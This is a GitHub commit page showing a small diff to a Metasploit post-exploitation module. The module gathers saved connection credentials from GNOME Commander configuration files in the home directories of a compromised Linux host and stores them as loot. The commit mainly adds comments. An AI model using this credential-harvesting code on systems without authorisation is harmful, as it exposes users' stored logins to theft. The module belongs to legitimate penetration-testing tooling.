Skip to content

Commit b121bf6

Browse files
committed
Update gnome_commander_creds.rb
1 parent e35ee1f commit b121bf6

File tree

1 file changed

+8
-1
lines changed

1 file changed

+8
-1
lines changed

modules/post/linux/gather/gnome_commander_creds.rb

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,23 +22,30 @@ def initialize(info={})
2222

2323
def run
2424
user_dirs = []
25+
# Search current user
2526
user = cmd_exec("whoami").chomp
26-
if (user == 'root')
27+
# User is root
28+
if user == 'root'
2729
print_status("Current user is #{user}, probing all home dirs")
2830
user_dirs << '/root'
31+
# Search home dirs
2932
cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }
3033
else
34+
# Non root user
3135
print_status("Current user is #{user}, probing /home/#{user}")
3236
user_dirs << '/home/#{user}'
3337
end
3438
# Try to find connections file in users homes
3539
user_dirs.each do |dir|
40+
# gnome-commander connections file
3641
connections_file = "#{dir}/.gnome-commander/connections"
3742
if file?(connections_file)
43+
#File exists
3844
begin
3945
str_file=read_file(connections_file)
4046
print_good("File found : #{connections_file}")
4147
vprint_line(str_file)
48+
#Store file
4249
p = store_loot("connections", "text/plain", session, str_file, connections_file, "Gnome-Commander connections")
4350
print_good ("Connections file saved to #{p}")
4451
rescue EOFError

0 commit comments

Comments
 (0)